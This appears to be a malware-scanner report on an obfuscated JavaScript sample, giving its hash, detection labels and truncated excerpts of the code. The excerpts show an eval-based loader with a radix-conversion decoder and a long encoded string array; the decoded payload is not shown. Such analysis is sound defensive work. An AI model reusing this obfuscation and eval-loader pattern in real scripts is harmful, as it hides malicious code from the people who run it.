Suspicious ^80% javascript-malware-collection Download

c4064a2e6c939dc940b85353b9e8126dad961c30692b57e9b8b3e1d437e6f6cc.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256c4064a2e6c939dc940b85353b9e8126dad961c30692b57e9b8b3e1d437e6f6cc

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var NaWdxtTlBjDWR=[];
2GlatJtU=(-794+794)/99;while(true){if(GlatJtU>=(26729+919)/216){break;}NaWdxtTlBjDWR[GlatJtU]=String.fromCharCode(GlatJtU);GlatJtU++;}
3function JxKkd(pAioCqpBHwa,VdspFNoUgapMF,XYGDieaE){aaKk=parseInt(pAioCqpBHwa,VdspFNoUgapMF);VroNW=aaKk.toString(XYGDieaE);return VroNW;}function DogSrHNEoXceSGO(dumztlihiFwUMSusy){eval(dumztlihiFwUMSusy)}
4function hiVbBndWrShjtptVYTqmhSCKvuULjUMQEdiWYbEShIHafbAUAlXPjF(tEKHEYNbOwXAu,RBlbjIMCXxpBVi){ return NaWdxtTlBjDWR[JxKkd(tEKHEYNbOwXAu[RBlbjIMCXxpBVi],(18092+83)/727,(7108+292)/740)];}
5function ssgDJjL(pawujfCPKSqbfiDJaGVhEhSvsmUmXdGQuPlV) {return !isNaN(parseFloat(pawujfCPKSqbfiDJaGVhEhSvsmUmXdGQuPlV)) && isFinite(pawujfCPKSqbfiDJaGVhEhSvsmUmXdGQuPlV);}
6function mrneIurnMfF(VXvLIshF,WKsjIS){return VXvLIshF.split(WKsjIS)}
7var S=[];S[0]="d";S[1]="a";S[2]="d";S[3]="a";S[4]="4i";S[5]="3m";S[6]="4e";S[7]="17";S[8]="34";S[9]="17";S[10]="2b";S …

Massive array index assignment line 7

7:965… 8]="17";S[89]="2b";S[90]="1f";S[91]="1f";S[92]="1o";S[93]="1m";S[94]="1h";S[95]="2j";S[96]="4i";S[97]="44";S[98]="21";S[99]="21";S[100]="27";S[101]="24";S[102]="23";S[103]="27";S[104]="22";S[105]="23";S[106]="27";S[107]="24";S[108]="4a";S[109]="1o";S[110]="20";S[111]="1n";S[112]="23";S[113]="1n";S[114]="1o";S[115]="4h";S[116]="32";S[117]="21";S[118]="23";S[119]="22";S[120]="1o";S[121]="27";S[122]="21";S …